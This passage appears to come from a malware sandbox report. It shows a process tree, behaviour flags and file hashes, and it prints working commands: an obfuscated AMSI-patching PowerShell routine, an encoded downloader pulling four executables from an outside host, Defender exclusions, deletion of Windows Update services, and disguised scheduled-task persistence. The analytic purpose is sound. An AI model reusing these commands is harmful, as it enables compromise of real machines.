har](105)+''+[Char](103)+''+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OJrexrmKFOrNKn).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+'e,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');$xdhxAqmMdch.DefineMethod(''+'I'+''+[Char](110)+''+'v'+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+',H'+'i'+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+'i'+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$hRTEuRpCaF,$OJrexrmKFOrNKn).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+'t'+'i'+'m'+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+'a'+''+'g'+''+[Char](101)+'d');Write-Output $xdhxAqmMdch.CreateType();}$ZecHpVRdMCmQW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType('Mic'+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+''+'a'+''+'f'+''+'e'+''+'Z'+'e'+'c'+'H'+[Char](112)+''+[Char](86)+'R'+[Char](100)+''+[Char](77)+'C'+[Char](109)+''+'Q'+''+[Char](87)+'');$lghXmeFxHwJeFN=$ZecHpVRdMCmQW.GetMethod('l'+[Char](103)+'h'+[Char](88)+''+[Char](109)+'eF'+'x'+'H'+[Char](119)+''+[Char](74)+''+'e'+'F'+[Char](78)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+','+[Char](83)+'t'+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GwsLlfHYjGLlbsctbep=TpbnnbPovKfk @([String])([IntPtr]);$isVVsKQToFMIJOHFplYcys=TpbnnbPovKfk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XWHIgEBOuEC=$ZecHpVRdMCmQW.GetMethod(''+[Char](71)+'et'+'M'+'o'+'d'+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+'an'+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'ne'+[Char](108)+''+[Char](51)+'2.d'+[Char](108)+''+'l'+'')));$wOseRJoaMFPoeA=$lghXmeFxHwJeFN.Invoke($Null,@([Object]$XWHIgEBOuEC,[Object](''+'L'+''+'o'+''+[Char](97)+''+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$WEvbSwrlVuQNSILYE=$lghXmeFxHwJeFN.Invoke($Null,@([Object]$XWHIgEBOuEC,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'P'+[Char](114)+''+'o'+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$rvtukKZ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wOseRJoaMFPoeA,$GwsLlfHYjGLlbsctbep).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$MkMeqVuWhSLAVpRkd=$lghXmeFxHwJeFN.Invoke($Null,@([Object]$rvtukKZ,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+'u'+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$nIwfHgCLYf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WEvbSwrlVuQNSILYE,$isVVsKQToFMIJOHFplYcys).Invoke($MkMeqVuWhSLAVpRkd,[uint32]8,4,[ref]$nIwfHgCLYf);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MkMeqVuWhSLAVpRkd,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WEvbSwrlVuQNSILYE,$isVVsKQToFMIJOHFplYcys).Invoke($MkMeqVuWhSLAVpRkd,[uint32]8,0x20,[ref]$nIwfHgCLYf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+'rs'+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1156
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1092
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2480
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2824
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3444
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3088
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:652
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C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:800
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1016 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1392 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1868
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:856 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4488
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 3046⤵
- Program crash
PID:1404
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1388
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1216
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 1363⤵
- Program crash
PID:516
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2532
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1904
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2172
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4028
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3120
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:224
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1360
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:308
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1588
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4492
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4496
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2392
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:3524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3000
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:1240
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1724 -ip 17242⤵PID:1180
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 856 -ip 8562⤵PID:1444
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:1028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:2592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1896
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:3472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5060
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4612
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4360
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3680
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2724
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2576
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2256
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2100
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1604
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1592
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1476
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1436
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1416
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:408
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2928
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:5084
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD52f2285483bf0ac6413dda8ce962d4924
SHA1ba12c836b62f57a25b650abc48e45b673c6a7fdd
SHA2569d5aa04e3ef8f3b95a8b09cfa96d81a799111caed7e1ed1763af30cabf329cf0
SHA512342802a927fc3331fa2c151be8bd1c1fe8cf1fb93ef4c23386aa02b22c671476b2d95c56ff5907e9e8825fb375205aa7794d5c372dfa1be9897ee20e5a4178a1
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5